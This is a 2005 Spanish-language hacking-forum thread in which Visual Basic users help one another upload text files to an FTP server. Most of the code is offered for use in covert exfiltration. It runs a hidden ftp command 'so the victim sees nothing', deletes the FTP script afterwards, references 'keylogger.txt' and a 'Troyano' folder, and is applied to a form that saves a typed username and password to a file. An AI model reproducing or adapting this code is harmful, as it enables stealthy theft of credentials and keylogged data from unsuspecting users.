Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: d@r10 en 14 Octubre 2005, 21:26 pm



Título: mandar txt a email
Publicado por: d@r10 en 14 Octubre 2005, 21:26 pm
hola q tal esoty haciendo un programa y bueno todo el contenido de un texbox lo guardo en archivo de texto pero no se como mandar a un email , podrian ayudarme a desarrollar este pequeño programa he buscado en este foro  y en google pero el codigo es muy largo lo que quierop es envar 2 textbox o el archivo de texto a un email espero q me ayuden a desarrollar este programa  ;D


Título: Re: mandar txt a email
Publicado por: NYlOn en 14 Octubre 2005, 22:11 pm
MANDAR EMAIL POR SMTP (http://foro.elhacker.net/index.php/topic,72560.0.html)[/b]

Citar
el codigo es muy largo lo que quierop es envar 2 textbox o el archivo de texto a un email

Modificalo y usa solo la parte que necesites


Título: Re: mandar txt a email
Publicado por: yeikos en 14 Octubre 2005, 23:30 pm
Yo la mensajería mail la veo la más insegura de todas puesto que no es fiable, te puede fallar en cualquier momento.
Lo mejor es usar el FTP del command, ya sabes...
ftp -s:operaciones.txt 127.0.0.1


Título: Re: mandar txt a email
Publicado por: Scratz en 14 Octubre 2005, 23:58 pm
Hey! Eso de enviar archivos por ftp de esa manera tan sencilla me interesa. ¿Podrias hablar un poco más de ella?
Gracias


Título: Re: mandar txt a email
Publicado por: yeikos en 15 Octubre 2005, 00:04 am
Código:
Open "C:\datos.txt" for output as #1
write #1, "usuario"
write #1, "password"
write #1, "put C:\datos.txt datos.txt"
write #1, "bye"
close #1

shell "cmd.exe /c ftp -s:C:\datos.txt ftp.hosting.com",vbhide

Sería una cosa así, corrijanme si hay algún fallo, lo que hace es conectarse a ftp.hosting, logearse como usuario y con la contraseña 'password', subir el fichero datos.txt al ftp y cerrar la sesión


Título: Re: mandar txt a email
Publicado por: Scratz en 15 Octubre 2005, 00:06 am
ftp -s:operaciones.txt 127.0.0.1

Me referia a esto


Título: Re: mandar txt a email
Publicado por: yeikos en 15 Octubre 2005, 00:11 am
ftp -s:operaciones.txt 127.0.0.1

Me referia a esto

Si lees el código completo veras que esa instrucción se incluye, de todas maneras te la voy a describir...

ftp » Inicia el servicio ftp
-s:C:\datos.txt » Llama a dicho archivo para que ejecute todas las líneas que contengan.
ftp.hosting.com » Servidor con el que se realizará los servicios.

· Dentro de C:\datos
usuario » Usuarios para identificarse
password » Contraseña para completar la identificación
put C:\datos.txt datos.txt » Sube el archivo C:\datos.txt al directorio principal del ftp con el nombre datos.txt
bye » Finaliza la sesión FTP


Título: Re: mandar txt a email
Publicado por: Scratz en 15 Octubre 2005, 00:19 am
Ah, vale ;) Gracias


Título: Re: mandar txt a email
Publicado por: d@r10 en 15 Octubre 2005, 18:43 pm
MANDAR EMAIL POR SMTP (http://foro.elhacker.net/index.php/topic,72560.0.html)[/b]

[quote ]
] el codigo es muy largo lo que quierop es envar 2 textbox o el archivo de texto a un email

Modificalo y usa solo la parte que necesites
Citar
no puedo por q no se cual es el codigo q necesito y digo q es muy largo y no lo entiendo , espero q si puedes lo pongas aunque yeikos pueso algo muy bueno quisiera para mandarlo a un mail espero q si sabes me puedas ayudar  :).

Citar
Open "C:\datos.txt" for output as #1
write #1, "usuario"
write #1, "password"
write #1, "put C:\datos.txt datos.txt"
write #1, "bye"
close #1

shell "cmd.exe /c ftp -s:C:\datos.txt ftp.hosting.com",vbhide


Sería una cosa así, corrijanme si hay algún fallo, lo que hace es conectarse a ftp.hosting, logearse como usuario y con la contraseña 'password', subir el fichero datos.txt al ftp y cerrar la sesión
gracias yeikos por tu ayuda ahora podre mandar el txt  lo has explicado muy bien q la unica duda es este codigo :

shell "cmd.exe /c ftp -s:C:\datos.txt ftp.hosting.com",vbhide

por fa podrias explicarme esto para q sirve y q hace , muchas gracias

pd: existe la forma de enviarmelo a un mail es q quiero hacer un programa donde el contenido del texbox se guarde en un txt y mandarlo a su mail espero q me puedan ayudar  :)


Título: Re: mandar txt a email
Publicado por: yeikos en 15 Octubre 2005, 23:29 pm
Código:
shell "cmd.exe /c ftp -s:C:\datos.txt ftp.hosting.com",vbhide

shell » Ejecuta...
cmd.exe » La aplicación command.exe
/c » Con la siguiente serie de comandos...
ftp » Inicia el servicio FTP.
-s:C:\datos.txt » Llama a dicho archivo para que ejecute todas las líneas que contengan.
ftp.hosting.com » Servidor con el que se realizará los servicios.
vbhide » Ejecuta la ventana del msdos en modo oculto para que la victima no vea nada...


Título: Re: mandar txt a email
Publicado por: d@r10 en 17 Octubre 2005, 00:08 am
Código:
shell "cmd.exe /c ftp -s:C:\datos.txt ftp.hosting.com",vbhide

shell » Ejecuta...
cmd.exe » La aplicación command.exe
/c » Con la siguiente serie de comandos...
ftp » Inicia el servicio FTP.
-s:C:\datos.txt » Llama a dicho archivo para que ejecute todas las líneas que contengan.
ftp.hosting.com » Servidor con el que se realizará los servicios.
vbhide » Ejecuta la ventana del msdos en modo oculto para que la victima no vea nada...

hola amigo hoy quize probarlo y nada no puede  :(
por q cual fue mi ??? error en q me qquivoque hize de todas las formas y nada  ???
mi nombre usuario pasword lo demas normal y nada
por fa ayudenme mi trabajo esta a un asi

Open "c:\dario.txt" For Append As #1
        Write #1, Text1.Text
        Write #1, Text2.Text
    Close #1
ademas unos de mis  intentos borro el contenido del text1 y text2 y me salio con suario paswords byess escritos ??? sera por q en tu ejm esta en output por fa espero q me ayudes  ???


Título: Re: mandar txt a email
Publicado por: yeikos en 17 Octubre 2005, 16:52 pm
Prueba utilizando PUT en vez de WRITE.


Título: Re: mandar txt a email
Publicado por: d@r10 en 18 Octubre 2005, 22:37 pm
Prueba utilizando PUT en vez de WRITE.
man podriasponer como quedaria dicesq le agerege tu codigo o lo ponga  aparte ???


Título: Re: mandar txt a email
Publicado por: la caca en 19 Octubre 2005, 02:32 am
la verdad que si te conviene por FTP porque incluso de ser desconfiables los servidores de mail, NO ahi ningun servidor SMTP (para mail) que deje mandar anonimamente los mail, es decir que ahi que loggearse primero.

si queres el de FTP:

Código:
'con API's
Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" _
    (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, _
    ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" _
    (ByVal hInternetSession As Long, ByVal sServerName As String, _
    ByVal nServerPort As Integer, ByVal sUsername As String, _
    ByVal sPassword As String, ByVal lService As Long, _
    ByVal lFlags As Long, ByVal lContext As Long) As Long

    Private Declare Function FtpGetFile Lib "wininet.dll" Alias "FtpGetFileA" _
    (ByVal hFtpSession As Long, ByVal lpszRemoteFile As String, _
    ByVal lpszNewFile As String, ByVal fFailIfExists As Boolean, _
    ByVal dwFlagsAndAttributes As Long, ByVal dwFlags As Long, _
    ByVal dwContext As Long) As Boolean
   

   

Private Sub Command1_Click()
lngINet = InternetOpen("MyFTP Control", 1, vbNullString, vbNullString, 0)
lngINetConn = InternetConnect(lngINet, "servidor", 0, _
    "usuario", "contraseña", 1, 0, 0)
blnRC = FtpGetFile(lngINetConn, "www\hola.txt", "c:\prueba.txt", 0, 0, 1, 0) 'obtenemos el archivo que esta dentro de la carpeta www y lo metemos en C:\ con el nombre de PRUEBA.txt
End Sub [\code]


si tengo error corriganme. si no queres por medio de api podes usar el control INTERNET TRANSFER CONTROL:


Private Function ITCReady(ShowMessage As Boolean)
'Chekea el estado del ITC  (poner un INTERNET TRANSFER CONTROL EN EL FORMULARIO), si esta realizando una operacion no hacer nada hasta que termine
If itc.StillExecuting Then
    ITCReady = False
    If ShowMessage Then
        MsgBox "Espere por favor, todavia trabajando", vbInformation + vbOKOnly, "Ocupado"
    End If
Else
    ITCReady = True
End If
End Function

Private Sub Command1_Click()
On Error Resume Next
'Colocar un label llamado LBLSTATUS
lblstatus = "Conectando"
Dim server As String
server = "servidor"
Dim username As String
username = "usuario"
Dim password As String
password = "contraseña"
'Establecemos el protocolo y el server y el usuario
itc.Protocol = icFTP
itc.URL = server
itc.username = username
itc.Cancel
'Establecemos el password y entramos
itc.password = password
itc.RequestTimeout = 40
itc.Execute , "DIR" 'hace dir
Do While itc.StillExecuting
    DoEvents: DoEvents: DoEvents
Loop
Dim www As String
www = "www/"  'se maneja como el DOS (DIR, CD, CD.., etc..)
Dim archivo As String
archivo = "keylogger.txt" 'establecemos el archivo
itc.Execute , "CD " & Chr(34) & www & Chr(34) 'entramos a la carpeta WWW/ porque asi esta establecido en el string WWW mas arriba
'agregar un list llamado lstremotefile
lstremotefile.Clear
Do Until ITCReady(False)
        DoEvents: DoEvents: DoEvents: DoEvents
    Loop
itc.Execute , "DIR"
Do Until ITCReady(False)
        DoEvents: DoEvents: DoEvents: DoEvents
    Loop
Dim dir As String
dir = "D:\franco\Visual Basic\Troyano"
    Kill dir & "/" & archivo
itc.Execute , "GET " & Chr(34) & archivo & Chr(34) & " " & Chr(34) & "D:\" & archivo & Chr(34) 'obtenemos archivo
End Sub

Private Sub Command2_Click()
Dim archivo As String
archivo = "prueba.txt"
Dim dir As String
dir = "D:\franco\Visual Basic\Troyano"
Dim reemplazar As String
reemplazar = "prueba.txt"
'si el ITC no se esta ejecutando enviamos el archivo
If ITCReady(True) = True Then
    'Enviamos el archivo y refrescamos el LISTBOX
    itc.Execute , "PUT " & Chr(34) & dir & "\" & archivo & Chr(34) & " " & Chr(34) & archivo & Chr(34)
    Do Until ITCReady(False)
        DoEvents: DoEvents: DoEvents: DoEvents
    Loop
    lstremotefile.Clear
    itc.Execute , "DIR"
    lblstatus = "Conectado"
End If
End Sub

Private Sub Form_Load()
'ahi que loggerase primero para que funcione pone el control INTERNET TRANSFER CONTROL en el formulario llamado ITC
RecievingSize = False
End Sub

Private Sub ITC_StateChanged(ByVal State As Integer)
'Chequea el estado del ITC y lo pone de acuerdo a lo que esta haciendo
Dim Data1, RemoteFiles
Dim RemoteFileName As String

Select Case State
    Case icResolvingHost
'pone un label llamado LBLSTATUS
        lblstatus = "Buscando direccion IP"
    Case icHostResolved
        lblstatus = "IP ENCONTRADA"
    Case icConnecting
        lblstatus = "Conectando"
    Case icConnected
        lblstatus = "Conectado"
    Case icRequesting
        lblstatus = "enviando pedido"
    Case icRequestSent
        lblstatus = "pedido enviado"
    Case icReceivingResponse
        lblstatus = "Reciviendo respuesta"
    Case icResponseReceived
        lblstatus = "Respuesta recivida"
    Case icDisconnecting
        lblstatus = "Desconectando"
    Case icDisconnected
        lblstatus = "No conectado"
    Case icError
        If itc.ResponseCode = 12030 Then
            lblstatus = "No conectado"
            itc.Cancel
        End If
        If itc.ResponseCode <> 87 Then
            MsgBox itc.ResponseCode & " " & itc.ResponseInfo, vbOKOnly + vbCritical, "Error"
        End If
    Case icResponseCompleted
        'loop hasta conseguir toda la info
        Do While True
            Data1 = itc.GetChunk(4096, icString)
            If Len(Data1) = 0 Then Exit Do
            DoEvents
            RemoteFiles = RemoteFiles & Data1
        Loop
       
        Beep
       
        'si esta reciviendo dice el tamaño y sale de la SUB
        If RecievingSize Then
'pone un listbox llamado LSTREMOTEFILE
            MsgBox "El tamaño del archivo es de: " & lstremotefile.Text & " es " & RemoteFiles & " bytes", vbInformation + vbOKOnly, "Size"
            Exit Sub
        End If
       
        'Loop hasta conesguir los nombres de todos los archivos del LIST
        For i = 1 To Len(RemoteFiles)
            If Mid(RemoteFiles, i, 1) = Chr(13) Then
                If Trim(RemoteFileName) <> "" Then
                    lstremotefile.AddItem RemoteFileName
                    RemoteFileName = ""
                End If
            Else
                If Mid(RemoteFiles, i, 1) <> Chr(10) Then
                    RemoteFileName = RemoteFileName & Mid(RemoteFiles, i, 1)
                End If
            End If
        Next i
End Select
End Sub
Código:



espero que les sirva de ayuda

chau


Título: Re: mandar txt a email
Publicado por: la caca en 19 Octubre 2005, 02:34 am
me confundi perdon jajaj puse el # al final ejje  :P


Título: Re: mandar txt a email
Publicado por: ZifuSka en 19 Octubre 2005, 02:46 am
a ver que me aclare.... yo tengo:
Citar
Private Sub Label2_Click()
n = FreeFile(0)
Open "c:\" & txtnombre.Text & "-" & txtPass.Text & ".txt" For Output As #n
Print #n, txtnombre.Text & " / " & txtPass.Text
Close #n
End Sub
ahi se me guarda el archivo txt en c:\*******.txt y como hago para que ese archivo se suba automaticamente a un ftp? eske no me aclaro , losiento  :-[


Título: Re: mandar txt a email
Publicado por: yeikos en 19 Octubre 2005, 17:05 pm
Código:
Open "C:\datos.txt" For Output As #1
    Print #1, "usuario"
    Print #1, "contraseña"
    Print #1, "put C:\archivoAsubir.txt archivoSubido.txt"
    Print #1, "bye"
Close #1
Shell "cmd.exe /c ftp -s:C:\datos.txt ftp.hosting.com && del C:\datos.txt", vbHide


Título: Re: mandar txt a email
Publicado por: la caca en 19 Octubre 2005, 19:03 pm
pero con ese codigo abris el CMD (simbolo de sistema)
con el que di yo directamente desde visual basic


Título: Re: mandar txt a email
Publicado por: NYlOn en 20 Octubre 2005, 01:53 am
Citar
me confundi perdon jajaj puse el # al final ejje

Arriva a la izquierda de tu post hay 3 botones.. uno dice MODIFICAR

dale click y mira lo q pasa ;)

cya


Título: Re: mandar txt a email
Publicado por: ZifuSka en 20 Octubre 2005, 02:08 am
Citar
me confundi perdon jajaj puse el # al final ejje

Arriva a la izquierda de tu post hay 3 botones.. uno dice MODIFICAR

dale click y mira lo q pasa ;)

cya
pues yo los veo arriba a la derecha, y son 2.... citar y modificar...  ::)


Título: Re: mandar txt a email
Publicado por: NYlOn en 20 Octubre 2005, 17:00 pm
Si esta a la derecha xDD

pero s0n 3 botones: Citar, Modificar y Borrar ;D

salu2 !


Título: Re: mandar txt a email
Publicado por: ZifuSka en 20 Octubre 2005, 17:36 pm
 :o
yo solo tengo citar y modificar
 :o


Título: Re: mandar txt a email
Publicado por: NYlOn en 21 Octubre 2005, 00:24 am
Citar
yo solo tengo citar y modificar
0k ;D

-----------------------------------------------

Volviendo al tema... intente subir un archivo de texto (.txt) al ftp de yahoo (ftp.es.geocities.com) pero me lo sube en blanco :S

No se a q se deve.. .si alguien tiene alguna idea q postee plz ^^

salu2 !


Título: Re: mandar txt a email
Publicado por: ZifuSka en 24 Octubre 2005, 04:59 am
Yo si he conseguido que funcione. aqui te pongo lo que yo he hecho a ver si te sirve:

Código:
Open "C:\datos.txt" For Output As #1
Print #1, "usuario"
Print #1, "pass"
Print #1, "put C:\datos.txt datos.txt"
Print #1, "bye"
Print #1, "Aqui lo que quieres que ponga en el txt"
Close #1

Shell "cmd.exe /c ftp -s:C:\datos.txt ftp.servidor.com"


Título: Re: mandar txt a email
Publicado por: NYlOn en 24 Octubre 2005, 19:37 pm
Yo si he conseguido que funcione. aqui te pongo lo que yo he hecho a ver si te sirve:

Código:
Open "C:\datos.txt" For Output As #1
Print #1, "usuario"
Print #1, "pass"
Print #1, "put C:\datos.txt datos.txt"
Print #1, "bye"
Print #1, "Aqui lo que quieres que ponga en el txt"
Close #1

Shell "cmd.exe /c ftp -s:C:\datos.txt ftp.servidor.com"

Ya solucione mi problema montando un servidor FTP en mi PC ;D
gracias iwal x responder...

pd. Hice un manual para hacer un servidor FTP, si lo keres leer pasate x Troyanos y Virus (http://foro.elhacker.net/index.php/board,17.0.html)


salu2 !


Título: Re: mandar txt a email
Publicado por: Tarjet en 26 Octubre 2005, 02:17 am
y como hago para q si se encuentra otro archivo con el mismo nombre en el ftp se agrege el log y no se reemplaze o que los valla enumerando???


Título: Re: mandar txt a email
Publicado por: ZifuSka en 26 Octubre 2005, 05:22 am
yo lo que he hecho es que cada archivo que cree, que se llame de una manera distinta, es decir, pones una caja de texto en la que haya que escribir algo i pones:
Código:
open text1.text for output as #1

o otra opcion, es poner un timer que pasador 10 segundos mas o menos despues de subirlo al ftp, haga un kill c:\datos.txt

los segundos del timer, depende de lo que tarde en subir el archivo, ya que yo lo probe poniendo el kill justo despues de empezar a subir el archivo y me daba error... supongo por logica que es porke no puedes borrar el archivo mientras esta subiendo al ftp... no se si sera por eso o no el error, prueba a ver...


Título: Re: mandar txt a email
Publicado por: NYlOn en 26 Octubre 2005, 20:56 pm
Para subir un archivo, primero el programa lo tiene q abrir y enviar parte por parte, y como ya se sabe, no se puede eliminar un archivo en uso... x eso t tira error


Título: Re: mandar txt a email
Publicado por: Tarjet en 12 Diciembre 2005, 17:50 pm
tengo un problema, me funciona bien pero cuando veo el log, esta todo en una linea, todo desordenado y en el fichero antes de enviarlo esta todo ordenado en muchas lineas.

que podra estar pasando??
ayuda xfa